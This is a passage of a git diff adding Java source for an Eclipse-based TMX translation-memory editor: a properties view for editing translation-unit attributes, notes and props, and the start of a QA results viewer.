menuManager.createContextMenu(tbl); + tbl.setMenu(menu); + tbl.addMouseListener(new MouseAdapter() { + @Override + public void mouseUp(MouseEvent e) { + commandFromID = TU_NODE_NOTE; + setCopyPasteEnable(); + } + + @Override + public void mouseDoubleClick(MouseEvent e) { + commandFromID = TU_NODE_NOTE; + Object obj = tbv.getElementAt(tbl.getSelectionIndex()); + if (obj instanceof TmxNote) { + if (editAction.isEnabled()) { + editAction.run(); + } + } else { + if (addAction.isEnabled()) { + addAction.run(); + } + } + } + }); + tbl.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Object obj = tbv.getElementAt(tbl.getSelectionIndex()); + boolean enable = obj instanceof TmxNote; + addAction.setEnabled(true); + editAction.setEnabled(enable); + deleteAction.setEnabled(enable); + + if (enable) { + boolean disableEdit = false; + TmxNote note = (TmxNote) obj; + String content = note.getContent(); + out : for (Entry entry : currentSelected.getTus().entrySet()) { + List notes = entry.getValue().getNotes(); + if (notes == null) { + disableEdit = true; + break; + } + for (TmxNote tn : notes) { + if (content.equals(tn.getContent())) { + continue out; + } + } + disableEdit = true; + break; + } + editAction.setEnabled(!disableEdit); + deleteAction.setEnabled(!disableEdit); + } + } + }); + return tbv; + } + + @Override + public void dispose() { + getSite().getPage().removeSelectionListener(tmxEditorSelectionListener); + getSite().getPage().removePartListener(this); + getViewSite().getActionBars().clearGlobalActionHandlers(); + super.dispose(); + } + + @Override + public void setFocus() { + if (compostie != null && !compostie.isDisposed()) { + compostie.setFocus(); + } + } + + private MenuManager createMenuManager() { + MenuManager menuMgr = new MenuManager(); + menuMgr.add(addAction); + menuMgr.add(editAction); + menuMgr.add(deleteAction); + return menuMgr; + } + + private void addToolBarAction() { + // 工具æ ä¸Šæ·»åŠ æŒ‰é’® + IToolBarManager toolBarManager = getViewSite().getActionBars().getToolBarManager(); + toolBarManager.add(addAction); + toolBarManager.add(editAction); + toolBarManager.add(deleteAction); + } + + private void setDataAccess(AbstractTmxDataAccess tmxDataAccess) { + this.tmxDataAccess = tmxDataAccess; + } + + /** + * æ•°æ®è¿‡å¤šï¼Œå¯èƒ½ä¸»é¢æ¿æ»šåŠ¨; + */ + private void autoFit() { + compostie.layout(); + scrolledComposite.setMinSize(compostie.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + + /** + * åˆ·æ–°å±žæ€§ç•Œé¢ + * @param tableViewer + * ; + */ + private void updateTableViewer(TableViewer tableViewer) { + tableViewer.setInput(null); + TmxTU tu = currentSelected.getDisplayTu(); + List props = tu.getProps(); + tableViewer.setInput(new TableViewerInput(commandFromID, currentSelected)); + } + + /** + * 是å¦åˆ·æ–°å±žæ€§ç•Œé¢ï¼Œ + * @param isReload + * 是å¦é‡æ–°è£…è½½ tu 缓存; + */ + private void reloadAndUpdateUI(boolean isReload) { + if (isReload) { + TmxEditor editor = TmxEditorViewer.getInstance().getTmxEditor(); + editor.commit(); + editor.loadDataAndReFreshUI(null, true); + if (currentSelected != null && currentSelected.getTus() != null) { + for (Entry entry : currentSelected.getTus().entrySet()) { + TmxTU tu = tmxDataAccess.getTuByIdentifier(entry.getKey()); + entry.setValue(tu); + } + } + } else { + TmxEditorViewer.getInstance().getTmxEditor().refreshUI(); + } + TmxEditorViewer.getInstance().setFocus(); + updateTableViewer(tableViewerManager.get(commandFromID)); + } + + class AddAction extends Action { + public AddAction() { + setId("add"); + setText(Messages.getString("tmxeditor.propertiesView.add")); + setToolTipText(Messages.getString("tmxeditor.propertiesView.add.toolTip")); + setImageDescriptor(Activator.getImageDescriptor("images/view/addProp.png")); + setActionDefinitionId("net.heartsome.cat.te.tmxeditor.addproper"); + } + + @Override + public void run() { + if (currentSelected == null) { + return; + } + switch (commandFromID) { + case TU_ATTRS: + case TUV_ATTRS: + break; + case TU_NODE_NOTE: { + final ElemCollector elemCollector = new ElemCollector(); + addNode(elemCollector, new IModifyByScope() { + @Override + public void selectedTu() { + tmxDataAccess.addTuNote(currentSelected.getTus(), elemCollector.content); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchAddTmxNote(monitor, elemCollector.content, null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchAddTmxNote(monitor, elemCollector.content, TeCoreConstant.FILTERID_allSeg); + } + }); + break; + } + case TU_NODE_PROPS: { + final ElemCollector elemCollector = new ElemCollector(); + addNode(elemCollector, new IModifyByScope() { + @Override + public void selectedTu() { + if (elemCollector.overwrite) { + tmxDataAccess.deleteTuPropByType(currentSelected.getTus(), elemCollector.name); + } + tmxDataAccess.addTuProp(currentSelected.getTus(), elemCollector.name, elemCollector.content); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + if (elemCollector.overwrite) { + tmxDataAccess.batchDeleteTmxPropByType(monitor, elemCollector.name, null); + } + tmxDataAccess.batchAddTmxProp(monitor, elemCollector.name, elemCollector.content, null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + if (elemCollector.overwrite) { + tmxDataAccess.batchDeleteTmxPropByType(monitor, elemCollector.name, + TeCoreConstant.FILTERID_allSeg); + } + tmxDataAccess.batchAddTmxProp(monitor, elemCollector.name, elemCollector.content, + TeCoreConstant.FILTERID_allSeg); + } + }); + break; + } + } + autoFit();// 调整滚动é¢æ¿ + } + + } + + public void addNode(final ElemCollector elemCollector, final IModifyByScope cxt) { + AddElementDialog dialog = new AddElementDialog(getSite().getShell(), commandFromID, elemCollector); + if (dialog.open() == Dialog.OK) { + if (elemCollector.scope == ALL_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + cxt.allTu(monitor); + } + }); + } else if (elemCollector.scope == FILTERED_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + cxt.filterTu(monitor); + } + }); + } else { + cxt.selectedTu(); + } + reloadAndUpdateUI(true); + } + } + + public void addPasteNode(final ElemCollector elemCollector, final IModifyByScope cxt) { + if (elemCollector.scope == ALL_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + cxt.allTu(monitor); + } + }); + } else if (elemCollector.scope == FILTERED_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + cxt.filterTu(monitor); + } + }); + } else { + cxt.selectedTu(); + reloadAndUpdateUI(elemCollector.scope != SELECTED_TU); + } + } + + class EditAction extends Action { + public EditAction() { + setText(Messages.getString("tmxeditor.propertiesView.eidt")); + setToolTipText(Messages.getString("tmxeditor.propertiesView.edit.toolTip")); + setImageDescriptor(Activator.getImageDescriptor("images/view/editProp.png")); + setActionDefinitionId("net.heartsome.cat.te.tmxeditor.editproper"); + } + + @Override + public void run() { + if (currentSelected == null) { + return; + } + final TableViewer tableViewer = tableViewerManager.get(commandFromID); + if (tableViewer.getSelection().isEmpty()) { + return; + } + final Object selectedElem = tableViewer.getElementAt(tableViewer.getTable().getSelectionIndex());// 获å–选中元素 + switch (commandFromID) { + case TU_ATTRS: + final AttrCollector attrCollector = new AttrCollector(); + editAttr(selectedElem, attrCollector, new IModifyByScope() { + @Override + public void selectedTu() { + tmxDataAccess.updateTuAttribute(currentSelected.getTus(), attrCollector.name, + attrCollector.value); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchUpdateTuAttr(monitor, attrCollector.name, attrCollector.value, null); + // tmxDataAccess.updateCacheTuAttr(currentSelected.getTus(), attrCollector.name, + // attrCollector.value); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchUpdateTuAttr(monitor, attrCollector.name, attrCollector.value, + TeCoreConstant.FILTERID_allSeg); + // tmxDataAccess.updateCacheTuAttr(currentSelected.getTus(), attrCollector.name, + // attrCollector.value); + } + }); + break; + case TUV_ATTRS: + TmxTU tu = null; + TmxSegement seg = null; + if ((tu = currentSelected.getDisplayTu()) != null) { + seg = currentSelected.getSelectedColumn() > 1 ? tu.getTarget() : tu.getSource(); + } + if (tu == null || seg == null) { + OpenMessageUtils.openMessage(IStatus.ERROR, + Messages.getString(Messages.getString("tmxeditor.view.PropertiesView.errormsg0"))); + return; + } + if (seg.getDbPk() == -1) { + OpenMessageUtils.openMessage(IStatus.ERROR, + Messages.getString("tmxeditor.view.PropertiesView.errormsg1")); + return; + } + final AttrCollector attrCollector1 = new AttrCollector(); + final TmxSegement tmpSeg = seg; + editAttr(selectedElem, attrCollector1, new IModifyByScope() { + @Override + public void selectedTu() { + tmxDataAccess.updateTuvAttribute(currentSelected.getIdentifier(), tmpSeg, attrCollector1.name, + attrCollector1.value); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + List langs = new LinkedList(); + langs.add(tmpSeg.getLangCode()); + tmxDataAccess.batchUpdateTuvAttr(monitor, attrCollector1.name, attrCollector1.value, langs, + null); + tmxDataAccess.updateCacheTuvAttr(tmpSeg, attrCollector1.name, attrCollector1.value); + } + + @Override + public void allTu(IProgressMonitor monitor) { + List langs = new LinkedList(); + langs.add(tmpSeg.getLangCode()); + tmxDataAccess.batchUpdateTuvAttr(monitor, attrCollector1.name, attrCollector1.value, langs, + TeCoreConstant.FILTERID_allSeg); + tmxDataAccess.updateCacheTuvAttr(tmpSeg, attrCollector1.name, attrCollector1.value); + } + }); + break; + case TU_NODE_NOTE: + final ElemCollector elemCollector = new ElemCollector(); + eidtNode(selectedElem, elemCollector, new IModifyByScope() { + TmxNote note = (TmxNote) selectedElem; + + @Override + public void selectedTu() { + tmxDataAccess.updateTuNote(currentSelected.getTus(), note, elemCollector.content); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchUpdateTmxNote(monitor, note.getContent(), elemCollector.content, null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchUpdateTmxNote(monitor, note.getContent(), elemCollector.content, + TeCoreConstant.FILTERID_allSeg); + } + }); + break; + case TU_NODE_PROPS: + final ElemCollector elemCollector1 = new ElemCollector(); + eidtNode(selectedElem, elemCollector1, new IModifyByScope() { + TmxProp prop = (TmxProp) selectedElem; + + @Override + public void selectedTu() { + if (elemCollector1.typeOnly) { + tmxDataAccess.updateTuPropType(currentSelected.getTus(), prop, elemCollector1.name); + } else { + tmxDataAccess.updateTuProp(currentSelected.getTus(), prop, elemCollector1.name, + elemCollector1.content); + } + } + + @Override + public void filterTu(IProgressMonitor monitor) { + if (elemCollector1.typeOnly) { + tmxDataAccess.batchUpdateTmxPropType(monitor, prop, elemCollector1.name, null); + } else { + tmxDataAccess.batchUpdateTmxProp(monitor, prop, elemCollector1.name, elemCollector1.content, + null); + } + } + + @Override + public void allTu(IProgressMonitor monitor) { + if (elemCollector1.typeOnly) { + tmxDataAccess.batchUpdateTmxPropType(monitor, prop, elemCollector1.name, TeCoreConstant.FILTERID_allSeg); + } else { + tmxDataAccess.batchUpdateTmxProp(monitor, prop, elemCollector1.name, elemCollector1.content, + TeCoreConstant.FILTERID_allSeg); + } + } + }); + } + } + + void editAttr(Object selectedElem, AttrCollector attrCollector, final IModifyByScope cxt) { + final String[] item = (String[]) selectedElem; + attrCollector.name = item[0]; + attrCollector.value = item[1]; + EditElementAttrDialog dialog = new EditElementAttrDialog(getSite().getShell(), commandFromID, attrCollector); + if (dialog.open() == Dialog.OK) { + if (attrCollector.scope == ALL_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + cxt.allTu(monitor); + } + }); + } else if (attrCollector.scope == FILTERED_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + cxt.filterTu(monitor); + } + }); + } else { + cxt.selectedTu(); + } + reloadAndUpdateUI(attrCollector.scope != SELECTED_TU); + } + } + + void eidtNode(Object selectedElem, ElemCollector elemCollector, final IModifyByScope cxt) { + final TmxNote note = commandFromID == TU_NODE_NOTE ? (TmxNote) selectedElem : null; + final TmxProp prop = note == null ? (TmxProp) selectedElem : null; + if (note != null) { + elemCollector.content = note.getContent(); + } else { + elemCollector.name = prop.getName(); + elemCollector.content = prop.getValue(); + } + EditElementDialog dialog = new EditElementDialog(getSite().getShell(), commandFromID, elemCollector); + if (dialog.open() == Dialog.OK) { + if (elemCollector.scope == ALL_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + cxt.allTu(monitor); + } + }); + } else if (elemCollector.scope == FILTERED_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + cxt.filterTu(monitor); + } + }); + } else { + cxt.selectedTu(); + } + reloadAndUpdateUI(elemCollector.scope != SELECTED_TU); + } + } + } + + class DeleteAction extends Action { + public DeleteAction() { + setText(Messages.getString("tmxeditor.propertiesView.delete")); + setToolTipText(Messages.getString("tmxeditor.propertiesView.delet.toolTip")); + setImageDescriptor(Activator.getImageDescriptor("images/view/deleteProp.png")); + setActionDefinitionId("net.heartsome.cat.te.tmxeditor.deleteproper"); + } + + @Override + public void run() { + if (currentSelected == null) { + return; + } + final TableViewer tableViewer = tableViewerManager.get(commandFromID); + if (tableViewer.getSelection().isEmpty()) { + return; + } + final Object selectedElem = tableViewer.getElementAt(tableViewer.getTable().getSelectionIndex()); + + switch (commandFromID) { + case TU_ATTRS: + deleteAttr(new IModifyByScope() { + String[] item = (String[]) selectedElem; + + @Override + public void selectedTu() { + tmxDataAccess.deleteTuAttribute(currentSelected.getTus(), item[0]); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchDeleteTuAttr(monitor, item[0], null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchDeleteTuAttr(monitor, item[0], TeCoreConstant.FILTERID_allSeg); + } + }); + break; + case TUV_ATTRS: + for (Entry entry : currentSelected.getTus().entrySet()) { + final String identifier = entry.getKey(); + final TmxSegement seg = currentSelected.getSelectedColumn() > 1 ? entry.getValue().getTarget() + : entry.getValue().getSource(); + + if (seg == null) { + return; + } + deleteAttr(new IModifyByScope() { + String[] item = (String[]) selectedElem; + + @Override + public void selectedTu() { + tmxDataAccess.deleteTuvAttribute(identifier, seg, item[0]); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + List langs = new LinkedList(); + langs.add(seg.getLangCode()); + tmxDataAccess.batchDeleteTuvAttr(monitor, item[0], langs, null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + List langs = new LinkedList(); + langs.add(seg.getLangCode()); + tmxDataAccess.batchDeleteTuvAttr(monitor, item[0], langs, TeCoreConstant.FILTERID_allSeg); + } + }); + break; + } + break; + case TU_NODE_NOTE: + final TmxNote note = (TmxNote) selectedElem; + deleteNode(new IModifyByScope() { + @Override + public void selectedTu() { + tmxDataAccess.deleteTuNote(currentSelected.getTus(), note); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchDeleteTmxNote(monitor, note.getContent(), null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchDeleteTmxNote(monitor, note.getContent(), TeCoreConstant.FILTERID_allSeg); + } + }); + break; + case TU_NODE_PROPS: + deleteNode(new IModifyByScope() { + TmxProp prop = (TmxProp) selectedElem; + + @Override + public void selectedTu() { + tmxDataAccess.deleteTuProp(currentSelected.getTus(), prop); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchDeleteTmxProp(monitor, prop, null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchDeleteTmxProp(monitor, prop, TeCoreConstant.FILTERID_allSeg); + } + }); + } + } + + private void deleteAttr(final IModifyByScope dab) { + final AttrCollector attrCollector = new AttrCollector(); + DeleteConfirmDialog dialog = new DeleteConfirmDialog(getSite().getShell(), commandFromID, attrCollector); + if (dialog.open() == Dialog.OK) { + if (attrCollector.scope == ALL_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + dab.allTu(monitor); + } + }); + } else if (attrCollector.scope == FILTERED_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + dab.filterTu(monitor); + } + }); + } else { + dab.selectedTu(); + } + reloadAndUpdateUI(attrCollector.scope != SELECTED_TU); + } + } + + private void deleteNode(final IModifyByScope dab) { + final ElemCollector elemCollector = new ElemCollector(); + DeleteConfirmDialog dialog = new DeleteConfirmDialog(getSite().getShell(), commandFromID, elemCollector); + if (dialog.open() == Dialog.OK) { + if (elemCollector.scope == ALL_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + dab.allTu(monitor); + } + }); + } else if (elemCollector.scope == FILTERED_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + dab.filterTu(monitor); + } + }); + } else { + dab.selectedTu(); + } + reloadAndUpdateUI(elemCollector.scope != SELECTED_TU); + } + } + } + + public void deleteOverWriteNode(final ElemCollector elemCollector, final IModifyByScope dab) { + if (elemCollector.scope == ALL_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + dab.allTu(monitor); + } + }); + } else if (elemCollector.scope == FILTERED_TU) { + batchTaskWithProgress(new IBatchTask() { + @Override + public void run(IProgressMonitor monitor) { + dab.filterTu(monitor); + } + }); + } else { + dab.selectedTu(); + } + } + + private interface IModifyByScope { + void allTu(IProgressMonitor monitor); + + void filterTu(IProgressMonitor monitor); + + void selectedTu(); + } + + /** + * 批处ç†æŽ¥å£ + * @author Austen + * @version + * @since JDK1.6 + */ + private interface IBatchTask { + void run(IProgressMonitor monitor); + } + + private void batchTaskWithProgress(final IBatchTask task) { + ProgressMonitorDialog dialog = new ProgressMonitorDialog(getSite().getShell()); + try { + dialog.run(true, false, new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + task.run(monitor); + } + }); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + /** + * 属性收集器 + * @author Austen + * @version + * @since JDK1.6 + */ + class AttrCollector { + /** + * å¯é€‰å€¼ä¸º
    + * PropertiesView.SELECTED_TU,PropertiesView.FILTERED_TU,PropertiesView.ALL_TU + */ + int scope; + String name; + String value; + } + + /** + * 元素收集器 + * @author Austen + * @version + * @since JDK1.6 + */ + class ElemCollector { + /** + * å¯é€‰å€¼ä¸º
    + * PropertiesView.SELECTED_TU,PropertiesView.FILTERED_TU,PropertiesView.ALL_TU + */ + int scope; + /** 新增 prop 节点时 覆盖所有. */ + boolean overwrite = false; + /** 修改 prop 节点时,åªä¿®æ”¹å…¶â€œtypeâ€. */ + boolean typeOnly = false; + String name; + String content; + + @Override + public String toString() { + return "[overwrite" + overwrite + "]scope[" + scope + "]"; + } + } + + /** + * tableviewer è¾“å…¥æ•°æ® + * @author Austen + * @version + * @since JDK1.6 + */ + public class TableViewerInput { + TableViewerInput(int category, TmxEditorSelection selection) { + this.category = category; + this.selection = selection; + } + + /** 填充类型.请使用 PropertiesView.SELECTED_TU,PropertiesView.FILTERED_TU,PropertiesView.ALL_TU */ + public int category; + public TmxEditorSelection selection; + } + + @Override + public void partActivated(IWorkbenchPart part) { + + } + + @Override + public void partBroughtToTop(IWorkbenchPart part) { + + } + + @Override + public void partClosed(IWorkbenchPart part) { + + } + + @Override + public void partDeactivated(IWorkbenchPart part) { + addAction.setEnabled(false); + editAction.setEnabled(false); + deleteAction.setEnabled(false); + + } + + @Override + public void partOpened(IWorkbenchPart part) { + } + + private CopyActionHandler copyTuAttributeAction = new CopyActionHandler(); + private PasteActionHandler pasteTuAttributeAction = new PasteActionHandler(); + + private class PasteActionHandler extends Action { + + @SuppressWarnings("restriction") + protected PasteActionHandler() { + super(WorkbenchMessages.Workbench_paste); + setId("ProperPasteAttribute");//$NON-NLS-1$ + setActionDefinitionId(ActionFactory.PASTE.getCommandId()); + setImageDescriptor(Activator.getImageDescriptor("images/menu/edit/paste.png")); + setEnabled(true); + } + + public void runWithEvent(Event event) { + final ElemCollector elemCollector = new ElemCollector(); + if (TmxPropTransfer.getIns().getTmxProp() == null) { + return; + } + elemCollector.name = TmxPropTransfer.getIns().getPropName(); + elemCollector.content = TmxPropTransfer.getIns().getPropValue(); + PasteElementDialog dlg = new PasteElementDialog(getSite().getShell(), elemCollector); + int open = dlg.open(); + if (open == Dialog.OK) { + // TODO + if (elemCollector.overwrite) { + // fisrt delete the prop + deleteOverWriteNode(elemCollector, new IModifyByScope() { + TmxProp prop = TmxPropTransfer.getIns().getTmxProp(); + + @Override + public void selectedTu() { + tmxDataAccess.deleteTuProp(currentSelected.getTus(), prop); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchDeleteTmxProp(monitor, prop, null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchDeleteTmxProp(monitor, prop, TeCoreConstant.FILTERID_allSeg); + } + }); + // secend add the prop content + addPasteNode(elemCollector, new IModifyByScope() { + @Override + public void selectedTu() { + tmxDataAccess.addTuProp(currentSelected.getTus(), elemCollector.name, elemCollector.content); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchAddTmxProp(monitor, elemCollector.name, elemCollector.content, null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchAddTmxProp(monitor, elemCollector.name, elemCollector.content, + TeCoreConstant.FILTERID_allSeg); + } + }); + + } else { + addPasteNode(elemCollector, new IModifyByScope() { + @Override + public void selectedTu() { + tmxDataAccess.addTuProp(currentSelected.getTus(), elemCollector.name, elemCollector.content); + } + + @Override + public void filterTu(IProgressMonitor monitor) { + tmxDataAccess.batchAddTmxProp(monitor, elemCollector.name, elemCollector.content, null); + } + + @Override + public void allTu(IProgressMonitor monitor) { + tmxDataAccess.batchAddTmxProp(monitor, elemCollector.name, elemCollector.content, + TeCoreConstant.FILTERID_allSeg); + } + }); + + } + reloadAndUpdateUI(elemCollector.scope != SELECTED_TU); + } + + } + + /** + * Update state. + */ + public void updateEnabledState() { + setEnabled(TmxPropTransfer.getIns().getTmxProp() != null); + } + } + + @SuppressWarnings("restriction") + private class CopyActionHandler extends Action { + protected CopyActionHandler() { + super(WorkbenchMessages.Workbench_copy); + setId("ProperCopyAttribute");//$NON-NLS-1$ + setEnabled(true); + setImageDescriptor(Activator.getImageDescriptor("images/menu/edit/copy.png")); + setActionDefinitionId(ActionFactory.COPY.getCommandId()); + } + + public void runWithEvent(Event event) { + TmxPropTransfer.getIns().setTmxProp(currentTuPropSelecet); + } + + /** + * Update the state. + */ + public void updateEnabledState() { + setEnabled(currentTuPropSelecet != null); + } + } + + protected void setGlobalActionHandler() { + getViewSite().getActionBars().setGlobalActionHandler("net.heartsome.cat.te.tmxeditor.addproper", addAction); + getViewSite().getActionBars().setGlobalActionHandler("net.heartsome.cat.te.tmxeditor.editproper", editAction); + getViewSite().getActionBars().setGlobalActionHandler("net.heartsome.cat.te.tmxeditor.deleteproper", + deleteAction); + getViewSite().getActionBars().setGlobalActionHandler(ActionFactory.COPY.getId(), copyTuAttributeAction); + getViewSite().getActionBars().setGlobalActionHandler(ActionFactory.PASTE.getId(), pasteTuAttributeAction); + } + + private void setCopyPasteEnable() { + if (commandFromID == TU_NODE_PROPS) { + copyTuAttributeAction.updateEnabledState(); + pasteTuAttributeAction.updateEnabledState(); + } else { + copyTuAttributeAction.setEnabled(false); + pasteTuAttributeAction.setEnabled(false); + } + } + + static class TmxPropTransfer { + + private static final TmxPropTransfer transfer = new TmxPropTransfer(); + + private TmxProp tmxProp; + + private TmxPropTransfer() { + + } + + public static TmxPropTransfer getIns() { + return transfer; + } + + public void setTmxProp(TmxProp tmxProp) { + if (null == tmxProp) { + return; + } else if (tmxProp == this.tmxProp) { + return; + } + this.tmxProp = tmxProp; + } + + public String getPropName() { + if (null != tmxProp) { + return tmxProp.getName(); + } + return null; + } + + public String getPropValue() { + if (null != tmxProp) { + return tmxProp.getValue(); + } + return null; + } + + public TmxProp getTmxProp() { + return this.tmxProp; + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/QAResultViewer.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/QAResultViewer.java new file mode 100644 index 0000000..d92ed9e --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/QAResultViewer.java @@ -0,0 +1,520 @@ +package net.heartsome.cat.te.tmxeditor.view; + + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory; +import net.heartsome.cat.common.ui.innertag.InnerTagRender; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.te.core.qa.IQAResultViewer; +import net.heartsome.cat.te.core.qa.QAConstant; +import net.heartsome.cat.te.core.qa.QAControl; +import net.heartsome.cat.te.core.qa.QAResultBean; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; +import net.heartsome.cat.te.tmxeditor.resource.Messages; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ControlAdapter; +import org.eclipse.swt.events.ControlEvent; +import org.eclipse.swt.events.KeyAdapter; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.GlyphMetrics; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.ViewPart; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import de.kupzog.ktable.KTable; +import de.kupzog.ktable.KTableCellEditor; +import de.kupzog.ktable.KTableCellRenderer; +import de.kupzog.ktable.KTableCellResizeListener; +import de.kupzog.ktable.KTableDefaultModel; +import de.kupzog.ktable.KTableModel; +import de.kupzog.ktable.SWTX; +import de.kupzog.ktable.renderers.FixedCellRenderer; +import de.kupzog.ktable.renderers.TextCellRenderer; + +/** + * å“质检查结果视图 + * @author robert 2013-09-23 + * @version + * @since JDK1.6 + */ +public class QAResultViewer extends ViewPart implements PropertyChangeListener, IQAResultViewer{ + // UNDO 这个 id 是怎么回事? + public static final String ID = ""; + private Composite parent; + private QAControl qaControl; + /** 列表中所显示的数æ®ï¼Œè¿™ä¸ªæ˜¯ç”¨æ¥æŽ’åºçš„,其值éšåˆ—表数æ®åˆ é™¤æ—¶åˆ é™¤ */ + private List dataList = new ArrayList(); + private TmxEditorImpWithNattable nattable = null; + private TmxEditor editor = null; + + private KTable table; + private KtableModel tableModel; + + public final static Logger logger = LoggerFactory.getLogger(QAResultViewer.class.getName()); + + @Override + public void createPartControl(Composite parent) { + this.parent = parent; + createTable(); + } + + + public void createTable() { + table = new KTable(parent, SWT.FULL_SELECTION | SWT.V_SCROLL | SWT.H_SCROLL | SWTX.FILL_WITH_LASTCOL | SWT.WRAP); + tableModel = new KtableModel(); + table.setModel(tableModel); + table.setLayoutData(new GridData(GridData.FILL_BOTH)); + table.setColorRightBorder(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + table.setColorLeftBorder(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + table.setColorTopBorder(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + table.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + + table.addMouseListener(new MouseAdapter() { + @Override + public void mouseDoubleClick(MouseEvent e) { + locationRow(); + } + }); + + table.addKeyListener(new KeyAdapter() { + public void keyPressed(KeyEvent e) { + if (e.keyCode == QAConstant.QA_CENTERKEY_1 || e.keyCode == QAConstant.QA_CENTERKEY_2) { + locationRow(); + } + } + }); + + table.addCellResizeListener(new KTableCellResizeListener() { + + public void rowResized(int arg0, int arg1) { + tableModel.textRenderer.clearRowHeiMap(); + table.redraw(); + } + + public void columnResized(int arg0, int arg1) { + tableModel.textRenderer.clearRowHeiMap(); + table.redraw(); + } + }); + + table.addControlListener(new ControlAdapter() { + @Override + public void controlResized(ControlEvent e) { + tableModel.textRenderer.clearRowHeiMap(); + table.redraw(); + } + }); + } + + + @Override + public void setFocus() { + + } + + @Override + public void registLister(QAControl control) { + this.qaControl = control; + this.qaControl.listeners.addPropertyChangeListener(this); + } + + @Override + public void propertyChange(final PropertyChangeEvent evt) { + /* + * 备注,传过æ¥çš„æ•°æ®æ˜¯ä¸€ä¸ª ArrayList, æ¯ç»„æ•°æ®éƒ½æ˜¯ç›¸åŒçš„ tuID 或 tuPK + */ + if ("printData".equals(evt.getPropertyName())) { + try { + Display.getDefault().syncExec(new Runnable() { + @SuppressWarnings("unchecked") + public void run() { + Object obj = evt.getNewValue(); + if (obj instanceof List) { + List objList = (List) obj; + if (objList.size() <= 0) { + return; + } + + dataList.addAll(objList); + table.redraw(); + } + } + }); + } catch (Exception e) { + e.printStackTrace(); + 